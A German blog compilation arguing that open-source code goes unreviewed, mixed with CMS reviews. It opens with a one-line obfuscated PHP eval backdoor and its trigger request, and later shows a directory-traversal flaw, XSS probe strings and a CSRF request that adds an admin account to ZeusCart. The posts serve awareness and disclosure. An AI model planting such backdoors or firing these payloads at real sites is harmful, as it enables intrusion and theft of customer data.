if (isset($_POST['t'])) eval(base64_decode(str_rot13($_POST['t'])));

In dem WordPress-Plugin welches ich hier für das Syntax-Highlighting benutze (WP-Syntax (wordpress.org)) stecken 192 php-Dateien, mit zusammen 55.009 Zeilen Code. Würde man darin die obige eine Zeile Code verstecken und via dem folgenden Request ansprechen

http://domain/pfad-zur/manipulierten-datei.php
[POST]
t=pTujnJ5zoltcBj==

so bekäme man die Server-Einstellungen zu dem installierten PHP angezeigt.

(POST-Request, damit es nicht in den Logfiles des Servers auftaucht und base64- und ROT13-kodiert, um mögliche Filter, die vor Angriffen schützen sollen, unbehelligt zu durchlaufen.)


Worauf ich hinaus will?

Bei Open Source haben wir zwar, im Gegensatz zu Closed Source, die Möglichkeit in die Quellen reinzuschauen, aber machen wir dies auch? Also, ich habe mir die 55.009 Zeilen Code in den 192 Dateien des einen Plugins nicht gründlich genug angeschaut, um 100% ausschließen zu können, dass darin ein Trojaner versteckt ist. ;O)

Wer es darauf anlegt Schadcode unters Volk zu bringen, der hat relativ leichtes Spiel. Nur zu bereitwillig werden Templates oder Plugins in einem CMS ungeprüft installiert.

Nur das Ausprobieren eines Plugins oder Templates könnte ein CMS mit einem Trojaner infizieren, indem beim einmaligen Aufruf eine Datei die zu dem System gehört um entsprechenden Code erweitert wird. Auch wenn das Plugin oder Template wieder gelöscht wird — der Schadcode ist im System.

Bekannte und weit verbreitete Projekte sind zwar grundsätzlich vor solchen Angriffen nicht gefeit, aber um so mehr Benutzer es gibt, und somit Leute die auch in den Code hineinschauen, um so eher besteht die Chance dass eine Manipulation auffliegt. Auch in solchen Projekten kann ein Angreifer zum Erfolg kommen, wenn beispielsweise ein Teammitglied vorsätzlich Sicherheitslücken einbaut. Wird seine “Sicherheitslücke” bekannt, so kann er sich damit herausreden dass er einfach nur schludrig gearbeitet hat.

Eine echte Lösung des Problems gibt es nicht. Man kann nur darauf achten die Quellen für Downloads mit Bedacht auszuwählen, was leider… “SourceForge schaltet Server nach Einbruch ab” (heise.de)


Update: 21.03.2011 – 17:05 Uhr

“Wiki-Server der PHP-Entwickler gehackt” (heise.de)

25.02.2011:
“jQuery Plugin – Mega Drop Down Menu” (designchemical.com)

25.02.2011:
“jQuery Mega Menu 1.0 WordPress Plugin Local File Inclusion” (exploit-db.com)


In der Beschreibung des Exploits steht zwar “Local File Inclusion” aber es handelt sich in diesem Fall eher um Directory Traversal (de.wikipedia.org), da die Datei nicht ausgeführt, sondern “nur” angezeigt wird.

Unter Directory Traversal versteht man eine Sicherheitslücke in Web-Programmen wie z. B. einem Webserver oder einer Webanwendung, bei der durch Manipulation von Pfadangaben auf beliebige Dateien und Verzeichnisse zugegriffen werden kann, die dafür eigentlich nicht vorgesehen waren. Diese kann so ausgenutzt werden, dass sensible Daten wie Passwörter preisgegeben werden.

Der Klassiker unter den Beispielen für Directory Traversal ist /etc/passwd. In der versteckten .htaccess finden wir einen Hinweis wo die php.ini zu finden ist, usw. usw. Kennt man sich etwas mit dem System aus welches man angreift, so kann man in kürzester Zeit an die sicherheitskritischen Informationen gelangen.


Das eigentliche Problem des Plugins steckt in der skin.php:

header("Content-type: text/css");
 
$id = $_GET['widget_id'];
$skin = $_GET['skin'];
 
if(!empty($skin)){	
   $css = file_get_contents('./skins/' . $skin );
   $widget_skin = preg_replace('/%ID%/',$id, $css);
   echo $widget_skin;
}

Der Inhalt aus $skin wird ungefiltert übernommen.


Seit ein paar Minuten gibt es eine neue Version, in der die Lücke behoben ist. Dieser Entwickler hat schnell reagiert, evtl. aufgrund meines Hinweises.

Aber grundsätzlich wird deutlich, dass man sich sehr schnell Schwachstellen in sein System bauen kann, weil es einfach zu viele nicht vertrauenswürdige Quellen für Software gibt. Open Source hilft hier schnell die Lücke zu finden, aber es ist kein Garant dafür dass sich überhaupt jemand die Mühe macht in fremden Code nach Sicherheitslücken zu schauen.

Um die Antwort vorweg zu nehmen: Nein!


Wenn ich eine neue Seite besuche dann kann ich nicht anderes, da muss ich einfach mal irgendwo ein '">xss eingeben… :O)

Weiteres reflexives Cross-Site Scripting findet sich noch auf den folgenden Seiten: Passwort vergessen, Suche, Registrierung und Login.

Es gibt aber auch die Möglichkeit persistent eigenen Code im Shop zu speichern. Eine Seite die zum Pagemanagement aus dem Backend gehört kann von nicht angemeldeten Besuchern des Shops aufgerufen werden. Auf der Seite können bestehende Einträge editiert, gelöscht und neue hinzugefügt werden.


Seiten aus dem Backend die für jeden Besucher aufrufbar sind, und nicht nur für Shopadmins, gibt es noch weitere:

• Ausgabe der phpinfo()-Seite.
• Export aller Produktdaten im Excel-, XML-, CSV- oder TAB-Format.
• Export aller Kundendaten im Excel-, XML-, CSV- oder TAB-Format.
• Löschen der Aktivitäten des Admins, die in einer Tabelle gelistet werden.
• Anzeige der letzten Bestellungen der Kunden, inkl. Name und E-Mail-Adresse.

Nach der Registrierung im Demoshop testete ich auch die Passwort-vergessen-Funktion und wunderte mich gar nicht mehr, dass das von mir vergebene Passwort in der E-Mail stand. Dafür gibt es zwei mögliche Gründe: Entweder wird das Passwort direkt im Klartext in der Datenbank gespeichert oder es wird so kodiert, dass es wieder dekodiert werden kann.

Ich habe mir die Software runtergeladen und kurz in den Quellcode reingeschaut. Die Passworte werden per base64_encode() kodiert und nicht per MD5 oder SHA1 gehasht. Das bedeutet dass alle Passworte die in der Datenbank stehen per base64_decode() dekodiert, also in Klartext umgewandelt werden können.

Hier ein Beispiel für das Kodieren und Dekodieren:


Und hier kann man dies online ausprobieren: “Base64 Kodierer / Base64 Generator” (php-einfach.de)


Und, natürlich fand ich auch noch an vielen Ecken Cross-Site Request Forgery.

Würde dies in eine Seite als unsichtbares Iframe eingebaut und der Shopadmin besucht die Seite während er eingeloggt ist, bekommt er einen weiteren Admin ins System gepflanzt:
http://domain.tld/admin/
?do=subadminmgt&action=insert
[POST]
subadminname=adminb
&subadminpassword=123456
&subadminemail=adminb%40domain.tld
&insert=Add


Noch ein paar Infos für die die sich diese Software anschauen möchten:

Backend: http://ajdemos.com/demo/zeuscart/v3/admin/
User Name: demoadmin
Password: demo123

Frontend: http://ajdemos.com/demo/zeuscart/v3/
User Name: demouser@domainname.com
Password: demouser

Download: http://www.zeuscart.com/download/Zeuscart3.zip


Ich bin sicher dass es noch weitere Schwachstellen gibt, beispielsweise zu SQL-Injection, aber die gefundenen Lücken sind schon vollkommen ausreichend, um die Nutzung abzulehnen. Wer nun noch ernsthaft überlegt dieses Stück Schrott einsetzen zu wollen — dem ist nicht mehr zu helfen.

Vielleicht ist dies auch nur Teil einer Studie, so nach dem Motto: “Wie schrottig darf eine Software sein, bis sie niemand mehr benutzen mag?” ;O)


Eigentlich schreibe ich ja nicht so kritisch über eine Software, aber dieses Teil ist so schlecht und hat so viele Schwachstellen, dass man nicht davon ausgehen kann, dass die Entwickler (immerhin schon Version 3) auf diese noch nie hingewiesen wurden. Eine Google-Recherche nach “Zeuscart” förderte nur Testinstallationen oder bereits gehackte Shops zutage

Heute las ich wieder solch eine Meldung. Es ging um einen neuen Shop, der mit xt:Commerce (xt-commerce.com) realisiert wurde und zwar in der Version v3.0.4 SP2.1. Tja, was soll ich sagen… natürlich (!?) gibt es dort auch eine XSS-Lücke. Also habe ich mir mal den Demo-Shop der Entwickler angeschaut – in der Annahme das dort die neueste Version läuft – aber dort wird die Version v3.0.4 SP2 benutzt. Auch dort gibt es diese Lücke. Daraufhin habe ich die Jungs angeschrieben und auf diese Lücke hingewiesen, eben kam die Antwort:

Danke für den Hinweis, aber der Demoshop ist keine aktuelle xt:Commerce Version.

In aktuellster Version ist dies nicht mehr Möglich.

Leider ist auf der xt:Commerce-WebSite nicht zu erkennen welche Version die aktuellste ist, da dort nur von v3.0.4 die Rede ist.

Laut dem hier (gunnart.de) ist die 3.0.4 SP2.1 von August 2006. Scheint mir nicht mehr so ganz frisch zu sein… wird das Projekt nicht mehr gepflegt? Bei Open Source ist eine zwei Jahre alte Version ja irgendwie asbach. ;O)

Von gunnart gibt es evtl. auch einen Lösungsansatz (gunnart.de) für die XSS-Lücke. Da ich selber xt:Commerce nicht verwende kann ich nicht sagen ob die class.inputfilter.php alle Eingaben filtert oder nur aus bestimmten Eingabefeldern.

Nach kurzer Recherche, nach Shops die xt:Commerce benutzen, sieht es so aus, als ob nicht alle Shops betroffen sind. Evtl. wurden bei den nicht betroffenen Shops bereits Änderungen an der class.inputfilter.php vorgenommen.

Um zu prüfen ob der eigene Shop betroffen ist kann man einfach mal in den Suchschlitz "><h1>XSS</h1> einfügen und die Suche starten. Sollte dann irgendwie etwas ungewöhnliches angezeigt werden, so hat der Shop auch eine XSS-Lücke.

Die Telekom hatte mir gestern geantwortet und u.a. geschrieben:

In den kommenden Tagen möchten wir uns bei Ihnen mit einer kleinen Aufmerksamkeit erkenntlich zeigen.

Da bin ich jetzt mal gespannt, was da kommt. Wenn es ein Familien-Kugelschreiber-Set mit Telekom-Aufdruck ist, dann wird das natürlich bei eBay versteigert. ;O)

Bevor ich den Download-Script-Bug bei der T-ochter gefunden hatte, dachte ich das diese Art von Bug ausgestorben wäre. Ich habe noch mal etwas per Hacker-Tool No.1 gesucht und natürlich auch einige WebSites gefunden, die auch diesen Bug aufweisen. Auch diesmal habe ich wieder E-Mails dazu versendet… :O)


Ein CMS-Hersteller meinte:

da haben Sie uns tatsächlich eiskalt erwischt. Wir werden uns sofort um eine Lösung bemühen und zusehen, dass unsere Kunden ein Update erhalten. Ich hatte mich beim Ansehen des Logs schon gewundert, wer da mit dem Download herumspielt. Diese offensichtliche, beinahe schon klassische Lücke ist in der Tat sehr ärgerlich, da wir grossen Wert auf eine saubere Umsetzung legen.

Als kleinen Dank für Ihre Hilfe möchte ich Ihnen eine Lizenz kostenlos für Ihren freien Gebrauch anbieten.

Für eine Lizenz müßte man 600 Euro berappen! also muß die Telekom sich anstrengen, denn der CMS-Hersteller ist im Vergleich zur Telekom natürlich ein Zwerg. ;O)

Wer sich wundert was da so in seinen Logfiles steht, der sollte auch mal etwas genauer hinschauen. Die da spielen sind nicht immer nur WhiteHats.


Ein WebMaster schreibt:

<AU!>

Vielen Dank für den Hinweis. Diese Möglichkeit war mir nicht bekannt. Da muss ich auf jeden Fall etwas tun.

Eigentlich muss die Seite sowieso neu gemacht werden (sehr alt und hatte vor kurzem auch viele SQL-Injection Lücken), aber das muss ich nun auch sofort angehen. Dieses Download Script werde ich erst einmal deaktivieren und dann muss die Struktur neu überdacht werden, also alles was zum Download gedacht ist in ein unsicheres Verzeichnis und alle asp Dateien und andere Dokumente, die nicht für alle erreichbar sein sollen in ein gesperrtes Verzeichnis.

Meine einzige Ausrede: Ich habe das schon ohnehin überholte System letzten Dezember übernommen und anscheinend davon ausgegangen, das alles I.O. ist.

Nochmals vielen Dank für den hilfreichen Hinweis.

</AU!>

Ein WebMaster mit Humor. Dieses <AU!>… </AU!> habe fast immer wenn ich am Surfen bin… da gibbet WebSites… oh mein Gott…


Und ein Dienstleister:

vielen dank für den Hinweis. Dies ist uns bewußt.
Wir arbeiten daran die Probleme zu beheben.

Jo, da waren nämlich schon Hacker aus Polen drauf und haben sich selber einen News-Eintrag geschrieben, der für 4 Tage online war. Ist schon klar das man auf seiner eigenen WebSite nicht jeden Tag rumsurft, aber hat das denn kein Besucher bemerkt? Oder sind diese Defacements schon so weit verbreitet das es gar niemanden mehr auffällt das es eigentlich nicht zur WebSite gehört?


Ich habe mehrere verschiedene Content Management Systeme gefunden in denen dieser Bug zu finden ist, die natürlich von verschiedenen WebSites benutzt werden, also sind nun mehr als eine WebSite von dem Bug betroffen. Alle diese CMS sind nicht Open Source. Ich behaupte jetzt mal, wenn es Open Source wäre, dann hätten ganz sicher schon irgendwelche Korinthenkacker wie ich, den Fehler, und noch weitere, gefunden. Deswegen bin ich ein großer Freund von Open Source.

Und noch einmal für alle die die Software entwickeln:
Open Source != kostenlos
Überlegt es euch – zur Sicherheit eurer Kunden!

Auf der WebSite zu Pixie findet man auch eine Demo-Version des Backends / der Adminseite (demo.getpixie.co.uk). Alle Änderungen die man dort vornimmt werden alle 30 Minuten durch die ursprüngliche Version ersetzt, um denen die in Demos Unfug treiben etwas den Spass zu nehmen. ;O)

Die runtergeladene ZIP-Datei von Pixie enthält nach dem Entpacken ca. 3,1 MB an Dateien, die man auf den eigenen Server hochladen muß. Die Installation ist sehr einfach gehalten. Das Installationsscript möchte nur die Zugangsdaten zur Datenbank wissen und nachdem man ein Passwort für den SuperAdmin vergeben hat, kann man sofort loslegen.

Man kann “Dynamic”-, “Static”- oder “Module/Plugin”-Seiten erstellen. Dynamische Seiten sind blogartige Seiten, auf denen Kommentare hinterlassen werden können und für die man auch RSS-Feeds anbieten kann. Wenn man möchte kann man verschiedene Blogs in dem System verwalten und auch für jeden einen eigenen RSS-Feed anbieten. Statische Seiten kann man z.B. für das Impressum benutzen, also Seiten auf denen man keine Kommentare wünscht und wofür man auch keinen RSS-Feed anbietet. Der Seiten-Typ Module/Plugins ist für die Erweiterungen des Backends wie z.B. die Verwaltung von Kommentaren, RSS-Feeds, Kontaktformular, etc. vorgesehen.

Eine Besonderheit in Pixie sind die sogenannte “Blocks”. Dies sind Code-Schnipsel in HTML/PHP die man in separaten Dateien abspeichert. Diese können z.B. eine Tagcloud, RSS-Feeds fremder Seiten oder News, etc. enthalten.

Dies ist z.B. der Blocks-Code für das Einbinden von einem RSS-Feed:

<div id="block_mgumw" class="block">
<div class="block_header"><h4>Mein Gott und meine Welt</h4></div>
<div class="block_body"><ul>
<?php
echo "\n";
$feed = new SimplePie('http://meingottundmeinewelt.de/feed/');
$feed->handle_content_type();
foreach ($feed->get_items() as $item):
$itemlink = $item->get_permalink();
echo "\t\t\t\t\t\t\t<li><a href=\"".$item->get_permalink()."\">".$item->get_title()."</a></li>\n";
endforeach;
echo "\n";
?>
</ul></div><div class="block_footer"></div></div>

In jede Seite kann man je nach Wunsch diese Blocks einfügen, auch dies funktioniert ganz einfach. Die Blocks werden vom CMS selber erkannt (alle Dateien im Blocks-Ordner). Die Blocks die man zu einer Seite hinzufügen möchte klickt man einfach an, um sie zu aktivieren oder um sie zu deaktivieren.

(Klick auf das Bild öffnet drei Bilder mit Erklärungstext.)


Um die Reihenfolge der Menüpunkte zu ändern muß man nur auf der Pages-Seite die kleinen Pfeile rechts auf dem blauen Balken anklicken, die Maustaste halten, den Menüpunkt verschieben und die Maustaste los lassen. Dank Ajax (de.wikipedia.org) muß nichts bestätigt werden, die Änderungen sind sofort aktiv.

(Klick auf das Bild öffnet drei Bilder mit Erklärungstext.)
In anderen CMS kann man natürlich auch die Reihenfolge der Menüpunkte ändern, nur dort meist nicht so einfach wie in diesem.


Auch die Darstellung der einzelnen Seiten ist sehr gut gelungen. Es wird einem nicht eine lange Liste der Menüpunkte angezeigt:

Wie man bei dieser Darstellung schon vermuten kann… bisher ist es nicht möglich Submenüs anzulegen.


Was mir sehr gut gefällt ist die einfache Handhabung des Backends, man muß nicht lange suchen um eine neue Seite zu erstellen oder Änderungen an bestehenden Seiten durchzuführen.

Neue Themes/Templates werden per FTP in den Template-Ordner gespeichert und können dann, wie auch in WordPress, einfach durch einen Klick auf das Vorschaubild im Backend für die WebSite aktiviert werden.

An Datensicherung wurde auch gedacht. Es gibt eine Backup-Funktion um die Datenbank des CMS zu sichern. Die gespeicherten Backups lassen sich dann entweder per FTP oder direkt aus dem Backend heraus downloaden. Die Backups werden archiviert, damit man auch auf ältere Sicherungen zugreifen kann. Die archivierten Backups lassen sich über das Backend auch wieder löschen, wobei das letzte Backup nicht gelöscht werden kann.

Einschränkend muß ich allerdings sagen das dieses CMS erst in der Version 1.0 vorliegt und das eine oder andere noch nicht so ganz rund läuft und auch noch verschiedene Features fehlen. Man kann z.B. nicht für jede Seite Meta-TAGs für Keywords und Description angeben, sondern nur global für alle Seiten die gleichen, was aber mittlerweile zu verschmerzen ist da die Suchmaschinen eh den angezeigten Text einer WebSite indexieren und den Meta-TAGs wenig Beachtung schenken.

Auf jeden Fall sollte man dieses Open Source CMS im Auge behalten, ich glaube da könnte in Zukunft ein gute Alternative für kleine WebSites heranwachsen.

“Boahhhh… nich noch eine…” Doch doch. ;O)

SocialEngine heißt das Teil und sieht sehr nach Facebook aus. Drauf gebracht hat mich mein Marketing-Gott.

Auf der WebSite der Entwickler (socialengine.net) gibt es zwei Demos, einmal für das Front- und einmal für das Backend.

Man kann erstmal mit der 15-Tage-Trial-Version und allen PlugIns rumspielen und schauen ob einem die Software gefällt.

Die 15-Tage-Trial-Version kommt gleich mit folgenden PlugIns daher:

• Photo Albums
  Video ist zwar auch möglich, aber das sieht noch nicht so gut aus. Kein Vorschaubild und die Größe des Films ist beim Abspielen nicht korrekt.
• Blogs
• Groups
• Events
• Chat
• Classifieds (Kleinanzeigen)
• Polls
• Music

Die Jungs wollen einen natürlich Anfixen, damit man möglichst alle PlugIns kauft. Ach so, ja, das Teil kostet was, auch wenn es Open Source ist. :O)
Open Source != kostenlos

250 Dollar kostet die SocialEngine selber und für die PlugIns jeweils kommen nochmal 30 oder 40 Dollar hinzu. Ich denke wer sich die Trial-Version angeschaut hat wird kaum maulen. Für ca. 170 Euro will ich das sicher nicht selber programmieren und je PlugIn zwischen 20 und 27 Euro ist auch ok.

Wenn man die Trial-Version ausprobiert dann sind alle Dateien mit ionCube verschlüsselt, weswegen man die php.ini am Server manipulieren muß. Einfach zend_extension = /home/www/user/html/ioncube/ioncube_loader_xyz.so in die php.ini einbauen und gut. Das setzt natürlich voraus, das der Hosting-Provider einem dazu überhaupt die Möglichkeit bietet. In der ZIP-Datei der Trial-Version steckt auch eine Helper-Datei von ionCube. Wenn man diese Datei aufruft wird einem angezeigt welchen Loader man einbinden muß, je nach Server-Betriebssystem und Versionsnummer ein anderer. In der ZIP sind schon einige Loader mit enthalten, sollte aber nicht der richtige dabei sein, so findet man auf der WebSite “Loaders for ionCube Encoded Files” noch weitere.

Was mir sehr positiv aufgefallen ist, ist die Möglichkeit das der User seinen Account selber löschen kann. Ein User sollte sich dies aber gut überlegen, denn es wird wirklich alles vom User gelöscht, jeglicher Content und, bis auf die Logs seiner Login-Versuche, auch alle Einträge in der Datenbank. In den bekannten Communitys gibt es kaum die Möglichkeit seinen Account selber zu löschen, da muß man dann den Admin darum bitten und wenn es dann doch mal möglich ist, dann kommt es vor das der Usercontent noch immer vorhanden ist. Also vom Datenschutz her bietet die SocialEngine eine sauber Lösung an. Da die Software Open Source ist bleibt natürlich die Gefahr das der Betreiber der Community den User-Lösch-Vorgang deaktiviert. Nun gut, man sollte eh nicht zu viele und nicht zu persönliche Daten im Netz hinterlassen.

Mein erster Eindruck ist sehr gut. Der Quellcode sieht recht sauber aus (Code Sample), mit Beschreibung darin, da kann man relativ einfach Änderungen/Erweiterungen vornehmen. Die Bedienung im Backend ist logisch und einfach. Und das Frontend stellt den User auch sicher nicht vor Rätsel. Sofern man nicht grad eine Video-Community aufbauen will, ist die SocialEngine sehr brauchbar.

Wenn ich mir die SocialEngine genauer angeschaut habe werde ich sicher wieder darüber schreiben und den Entwicklern meine Liste der Bugs senden – ich finde immer etwas. :O)

An solchen Problemen wie aktuell in der 1.5er Serie von Joomla sieht man das Open Source funktioniert. In proprietärer Software (i.d.R. Closed Source) gibt es natürlich auch immer wieder Fehler, die dann aber nicht so schnell erkannt werden und wo der Hersteller evtl. auch versucht Informationen darüber zu unterdrücken. (“Maulkorb für MIT-Studenten” heise.de)

Wenn man selber betroffen ist könnte man der Meinung verfallen das Fehler bitte nicht veröffentlicht werden, um keine Hacker anzulocken. Nur leider wiegt man sich dann in einer trügerischen Sicherheit, denn es gibt einen Markt für sogenannte Exploits. “Ein Exploit ist eine Software oder eine Sequenz von Befehlen, welche spezifische Schwächen beziehungsweise Fehlfunktionen eines anderen Computerprogramms zur Erlangung von Privilegien oder in Absicht einer DoS-Attacke ausnutzt”. (Quelle: Wikipedia)

Die Geheimniskrämerei von Unternehmen bezüglich Fehlern in eigenen Produkten ist für den Exploit-Markt natürlich sehr förderlich. Der Käufer kann davon ausgehen das der erworbene Exploit noch funktioniert, da der Fehler nicht öffentlich geworden ist. Sobald ein Fehler öffentlich geworden ist, wird niemand auch nur einen Euro für einen Exploit ausgeben. Einerseits natürlich weil er öffentlich, also kostenlos, verfügbar ist, aber andererseits auch weil davon auszugehen ist das der Fehler durch Softwareupdates bereinigt wurde.

Open Source bedeutet nicht kostenlos, sondern nur das der Sourcecode (der Quellcode, die Programmierung oder wie auch immer ein Laie es bezeichnen möchte) frei einsehbar für jeden ist. Da es viele Korinthenkacker (wie mich <g>) gibt, die in den Code reinschauen, um Fehler zu finden oder um neue Funktionen oder Verbesserungen vorzuschlagen bzw. selber umzusetzen, hat Open Source einen Vorteil gegenüber Closed Source. In diesem Fall verderben die vielen Köche den Brei nicht!

Der %-Bug von dem ich letztens berichtet habe, wurde seit der Installation vor über einem Jahr, nicht gefixt. Und warum? Weil es proprietäre Software ist! Der/die Entwickler haben Fehler gemacht, da aber außer ihnen niemand Zugang zum Source Code hat, wurden diese Fehler nicht entdeckt bzw. die Entdeckung wurde nicht öffentlich. Es kann ja durchaus sein das die Fehler schon gefunden wurden und das da jemand die persönlichen Daten aller User einsieht und auch schon aktiv die Passworte auf anderen WebSites benutzt hat, auf denen die User mit dem gleichen Passwort angemeldet sind.

Ich glaube fest daran – Open Source hat eine gute Zukunft.

Einen Haken hat Website Baker: Wenn ein Menü verschachtelt ist, mit Sub- und SubSubMenüs, dann ist die eingebaute Funktion show_menu relativ unbrauchbar und das Modul show_menu2, welches man nachinstallieren kann, taugt leider auch nicht viel. Die Doku zu show_menu2 ist grottig und die Beispiele zeigen nicht das was ich haben möchte.

Mit der eingebauten show_menu-Funktion sieht ein Menü z.B. so aus:

Da diese Darstellung sehr unbefriedigend ist und immer nur der gerade aktive Menüpunkt hervorgehoben wird, habe ich an einer Systemdatei des CMS etwas rumgefingert und dann sieht das gleiche Menü folgendermaßen aus:

In die class.frontend.php von Website Baker 2.6.7 habe ich ab Zeile 367 (V 2.7: Zeile 381) folgendes eingefügt:

if (ROOT_PARENT==$page['page_id'] and $class==' class="menu_default"') {
$class = str_replace('menu_default"', 'menu_default level0"', $class);
} elseif (PARENT==$page['page_id'] and $class==' class="menu_default"') {
$class = str_replace('menu_default"', 'menu_default level1"', $class);
} elseif (LEVEL==0 and $class==' class="menu_current"') {
$class = str_replace('menu_current"', 'menu_current level0"', $class);
}

Und das CSS dazu enthält folgendes:

#menue { font-size: 0.8em; line-height: 25px;}
#menue ul { margin: 0; padding: 0; }
#menue ul li { list-style: none; display: inline; margin: 0; padding: 0;}
#menue ul li a { color: #222222; text-decoration: none; display: block; padding-left: 5px; background-image: url(../img/menu-bg.jpg); border-bottom: 1px solid #aeaeae; }
#menue ul li a:hover {background-color: #cccccc; }
#menue ul li a.menu_current { background-color: #cccccc; color: #000000; }
#menue ul ul li a {padding-left: 20px; background: #ebebeb; }
#menue ul ul ul li a { padding-left: 35px; }
#menue ul ul ul ul li a { padding-left: 45px; }
#menue ul li a.level0 { background-image: url(../img/menu-activ-bg.jpg); color: #FFF;}
#menue ul li a.level1 { background-color: #ebebeb; color: #066a38;}

Vielleicht bin ich auch nur zu dumm, um das Modul show_menu2 richtig zu benutzen, aber nach mehreren Stunden tüfteln, Googlesuche und Doku lesen, war es für mich sehr viel einfacher (und schneller) etwas am Website Baker Quellcode abzuändern, was nun genau das macht was ich will. Bei solchen Aktionen lernt man auch etwas über das Innenleben einer Open Source Software. :O)